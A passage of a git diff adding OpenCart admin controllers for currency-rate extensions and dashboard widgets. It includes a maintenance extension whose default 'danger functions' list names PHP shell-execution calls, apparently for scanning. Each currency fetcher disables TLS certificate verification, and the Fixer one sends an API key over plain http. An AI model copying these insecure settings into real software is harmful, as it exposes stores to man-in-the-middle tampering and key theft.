+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = [];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/ecb', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/ecb', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_ecb_status'])) {
+ $data['currency_ecb_status'] = $this->request->post['currency_ecb_status'];
+ } else {
+ $data['currency_ecb_status'] = $this->config->get('currency_ecb_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/ecb', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/ecb')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
+ if ($this->config->get('currency_ecb_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'https://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+ if ($response) {
+ $dom = new \DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($response);
+
+ $cube = $dom->getElementsByTagName('Cube')->item(0);
+
+ $currencies = [];
+
+ $currencies['EUR'] = 1.0000;
+
+ foreach ($cube->getElementsByTagName('Cube') as $currency) {
+ if ($currency->getAttribute('currency')) {
+ $currencies[$currency->getAttribute('currency')] = $currency->getAttribute('rate');
+ }
+ }
+
+ if ($currencies) {
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['EUR'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], 1 / ($currencies[$default] * ($from / $to)));
+ }
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, '1.00000');
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/currency/fixer.php b/public/admin/controller/extension/currency/fixer.php
new file mode 100644
index 0000000..7c8edda
--- /dev/null
+++ b/public/admin/controller/extension/currency/fixer.php
@@ -0,0 +1,145 @@
+load->language('extension/currency/fixer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_fixer', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+ $data['text_support'] = $this->language->get('text_support');
+ $data['text_signup'] = $this->language->get('text_signup');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_api'] = $this->language->get('entry_api');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['api'])) {
+ $data['error_api'] = $this->error['api'];
+ } else {
+ $data['error_api'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/fixer', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/fixer', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_fixer_api'])) {
+ $data['currency_fixer_api'] = $this->request->post['currency_fixer_api'];
+ } else {
+ $data['currency_fixer_api'] = $this->config->get('currency_fixer_api');
+ }
+
+ if (isset($this->request->post['currency_fixer_status'])) {
+ $data['currency_fixer_status'] = $this->request->post['currency_fixer_status'];
+ } else {
+ $data['currency_fixer_status'] = $this->config->get('currency_fixer_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/fixer', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/fixer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['currency_fixer_api']) {
+ $this->error['api'] = $this->language->get('error_api');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
+ if ($this->config->get('currency_fixer_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'http://data.fixer.io/api/latest?access_key=' . $this->config->get('currency_fixer_api'));
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+ $response_info = json_decode($response, true);
+
+ if (is_array($response_info) && isset($response_info['rates'])) {
+ // Compile all the rates into an array
+ $currencies = [];
+
+ $currencies['EUR'] = 1.0000;
+
+ foreach ($response_info['rates'] as $key => $value) {
+ $currencies[$key] = $value;
+ }
+
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['EUR'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], 1 / ($currencies[$default] * ($from / $to)));
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, 1);
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/currency/nbu.php b/public/admin/controller/extension/currency/nbu.php
new file mode 100644
index 0000000..2168a97
--- /dev/null
+++ b/public/admin/controller/extension/currency/nbu.php
@@ -0,0 +1,137 @@
+load->language('extension/currency/nbu');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_nbu', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = [];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/nbu', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/nbu', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_nbu_status'])) {
+ $data['currency_nbu_status'] = $this->request->post['currency_nbu_status'];
+ } else {
+ $data['currency_nbu_status'] = $this->config->get('currency_nbu_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/nbu', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/nbu')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
+ if ($this->config->get('currency_nbu_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'https://bank.gov.ua/NBUStatService/v1/statdirectory/exchange');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+
+ if ($response) {
+ $dom = new \DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($response);
+
+ $currencies = array();
+
+ $currencies['UAH'] = 1.0000;
+
+ $root = $dom->documentElement;
+ $items = $root->getElementsByTagName('currency');
+
+
+ foreach ($items as $item)
+ {
+ $code = $item->getElementsByTagName('cc')->item(0)->nodeValue;
+ $curs = $item->getElementsByTagName('rate')->item(0)->nodeValue;
+ $currencies[$code] = floatval(str_replace(',', '.', $curs));
+ }
+
+
+ if ($currencies) {
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['UAH'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], ($currencies[$default] * ($from / $to)));
+ }
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, '1.00000');
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/activity.php b/public/admin/controller/extension/dashboard/activity.php
new file mode 100644
index 0000000..68d71fe
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/activity.php
@@ -0,0 +1,120 @@
+load->language('extension/dashboard/activity');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_activity', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/activity', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/activity', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_activity_width'])) {
+ $data['dashboard_activity_width'] = $this->request->post['dashboard_activity_width'];
+ } else {
+ $data['dashboard_activity_width'] = $this->config->get('dashboard_activity_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_activity_status'])) {
+ $data['dashboard_activity_status'] = $this->request->post['dashboard_activity_status'];
+ } else {
+ $data['dashboard_activity_status'] = $this->config->get('dashboard_activity_status');
+ }
+
+ if (isset($this->request->post['dashboard_activity_sort_order'])) {
+ $data['dashboard_activity_sort_order'] = $this->request->post['dashboard_activity_sort_order'];
+ } else {
+ $data['dashboard_activity_sort_order'] = $this->config->get('dashboard_activity_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/activity_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/activity')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/activity');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['activities'] = array();
+
+ $this->load->model('extension/dashboard/activity');
+
+ $results = $this->model_extension_dashboard_activity->getActivities();
+
+ foreach ($results as $result) {
+ $comment = vsprintf($this->language->get('text_activity_' . $result['key']), json_decode($result['data'], true));
+
+ $find = array(
+ 'customer_id=',
+ 'order_id=',
+ 'return_id='
+ );
+
+ $replace = array(
+ $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=', true),
+ $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=', true),
+ $this->url->link('sale/return/edit', 'user_token=' . $this->session->data['user_token'] . '&return_id=', true)
+ );
+
+ $data['activities'][] = array(
+ 'comment' => str_replace($find, $replace, $comment),
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added']))
+ );
+ }
+
+ return $this->load->view('extension/dashboard/activity_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/dashboard/chart.php b/public/admin/controller/extension/dashboard/chart.php
new file mode 100644
index 0000000..b3bb21b
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/chart.php
@@ -0,0 +1,197 @@
+load->language('extension/dashboard/chart');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_chart', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/chart', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/chart', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_chart_width'])) {
+ $data['dashboard_chart_width'] = $this->request->post['dashboard_chart_width'];
+ } else {
+ $data['dashboard_chart_width'] = $this->config->get('dashboard_chart_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_chart_status'])) {
+ $data['dashboard_chart_status'] = $this->request->post['dashboard_chart_status'];
+ } else {
+ $data['dashboard_chart_status'] = $this->config->get('dashboard_chart_status');
+ }
+
+ if (isset($this->request->post['dashboard_chart_sort_order'])) {
+ $data['dashboard_chart_sort_order'] = $this->request->post['dashboard_chart_sort_order'];
+ } else {
+ $data['dashboard_chart_sort_order'] = $this->config->get('dashboard_chart_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/chart_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/chart')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/chart');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ return $this->load->view('extension/dashboard/chart_info', $data);
+ }
+
+ public function chart() {
+ $this->load->language('extension/dashboard/chart');
+
+ $json = array();
+
+ $this->load->model('extension/dashboard/chart');
+
+ $json['order'] = array();
+ $json['customer'] = array();
+ $json['xaxis'] = array();
+
+ $json['order']['label'] = $this->language->get('text_order');
+ $json['customer']['label'] = $this->language->get('text_customer');
+ $json['order']['data'] = array();
+ $json['customer']['data'] = array();
+
+ if (isset($this->request->get['range'])) {
+ $range = $this->request->get['range'];
+ } else {
+ $range = 'day';
+ }
+
+ switch ($range) {
+ default:
+ case 'day':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByDay();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByDay();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ for ($i = 0; $i < 24; $i++) {
+ $json['xaxis'][] = array($i, $i);
+ }
+ break;
+ case 'week':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByWeek();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByWeek();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $json['xaxis'][] = array(date('w', strtotime($date)), date('D', strtotime($date)));
+ }
+ break;
+ case 'month':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByMonth();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByMonth();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $json['xaxis'][] = array(date('j', strtotime($date)), date('d', strtotime($date)));
+ }
+ break;
+ case 'year':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByYear();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByYear();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ for ($i = 1; $i <= 12; $i++) {
+ $json['xaxis'][] = array($i, date('M', mktime(0, 0, 0, $i)));
+ }
+ break;
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/dashboard/customer.php b/public/admin/controller/extension/dashboard/customer.php
new file mode 100644
index 0000000..e5054d3
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/customer.php
@@ -0,0 +1,124 @@
+load->language('extension/dashboard/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_customer', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/customer', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/customer', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_customer_width'])) {
+ $data['dashboard_customer_width'] = $this->request->post['dashboard_customer_width'];
+ } else {
+ $data['dashboard_customer_width'] = $this->config->get('dashboard_customer_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_customer_status'])) {
+ $data['dashboard_customer_status'] = $this->request->post['dashboard_customer_status'];
+ } else {
+ $data['dashboard_customer_status'] = $this->config->get('dashboard_customer_status');
+ }
+
+ if (isset($this->request->post['dashboard_customer_sort_order'])) {
+ $data['dashboard_customer_sort_order'] = $this->request->post['dashboard_customer_sort_order'];
+ } else {
+ $data['dashboard_customer_sort_order'] = $this->config->get('dashboard_customer_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/customer_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/customer');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Total Orders
+ $this->load->model('customer/customer');
+
+ $today = $this->model_customer_customer->getTotalCustomers(array('filter_date_added' => date('Y-m-d', strtotime('-1 day'))));
+
+ $yesterday = $this->model_customer_customer->getTotalCustomers(array('filter_date_added' => date('Y-m-d', strtotime('-2 day'))));
+
+ $difference = $today - $yesterday;
+
+ if ($difference && $today) {
+ $data['percentage'] = round(($difference / $today) * 100);
+ } else {
+ $data['percentage'] = 0;
+ }
+
+ $customer_total = $this->model_customer_customer->getTotalCustomers();
+
+ if ($customer_total > 1000000000000) {
+ $data['total'] = round($customer_total / 1000000000000, 1) . 'T';
+ } elseif ($customer_total > 1000000000) {
+ $data['total'] = round($customer_total / 1000000000, 1) . 'B';
+ } elseif ($customer_total > 1000000) {
+ $data['total'] = round($customer_total / 1000000, 1) . 'M';
+ } elseif ($customer_total > 1000) {
+ $data['total'] = round($customer_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = $customer_total;
+ }
+
+ $data['customer'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'], true);
+
+ return $this->load->view('extension/dashboard/customer_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/domovoy.php b/public/admin/controller/extension/dashboard/domovoy.php
new file mode 100644
index 0000000..50a4a7d
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/domovoy.php
@@ -0,0 +1,455 @@
+load->language('extension/dashboard/domovoy');
+
+ $this->document->setTitle($this->language->get('heading_h1'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+
+ $this->model_setting_setting->editSetting('dashboard_domovoy', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/domovoy', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/domovoy', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs'), 'cache' => array('dir' => DIR_CACHE), 'imagescache' => array('dir' => DIR_IMAGE . 'cache'));
+
+ foreach ($folders as $key => $folder) {
+
+ $data['folders'][$key]['name'] = $this->language->get('text_dir_' . $key);
+ $data['folders'][$key]['key'] = $key;
+
+ if (isset($this->request->post["dashboard_domovoy_cron"])) {
+ $cron = $this->request->post["dashboard_domovoy_cron"];
+ } elseif ($this->config->get("dashboard_domovoy_cron")) {
+ $cron = $this->config->get("dashboard_domovoy_cron");
+ } else {
+ $data['folders'][$key]['cron']['time'] = 30;
+ $data['folders'][$key]['cron']['size'] = 100;
+ }
+
+ if (isset($cron)) {
+ $data['folders'][$key]['cron']['status'] = $cron[$key]['status'];
+ $data['folders'][$key]['cron']['size'] = $cron[$key]['size'];
+ $data['folders'][$key]['cron']['time'] = $cron[$key]['time'];
+ }
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_danger_funtions'])) {
+ $data['dashboard_domovoy_danger_funtions'] = $this->request->post['dashboard_domovoy_danger_funtions'];
+ } elseif ($this->config->get('dashboard_domovoy_danger_funtions')) {
+ $data['dashboard_domovoy_danger_funtions'] = $this->config->get('dashboard_domovoy_danger_funtions');
+ } else {
+ $data['dashboard_domovoy_danger_funtions'] = "exec\r\npassthru\r\nini_get\r\nini_get_all\r\nparse_ini_file\r\nphp_uname\r\nsystem\r\nshell_exec\r\nshow_source\r\npcntl_exec\r\npcntl_exec\r\nexpect_popen\r\nproc_open\r\npopen";
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_warning_funtions'])) {
+ $data['dashboard_domovoy_warning_funtions'] = $this->request->post['dashboard_domovoy_warning_funtions'];
+ } elseif ($this->config->get('dashboard_domovoy_warning_funtions')) {
+ $data['dashboard_domovoy_warning_funtions'] = $this->config->get('dashboard_domovoy_warning_funtions');
+ } else {
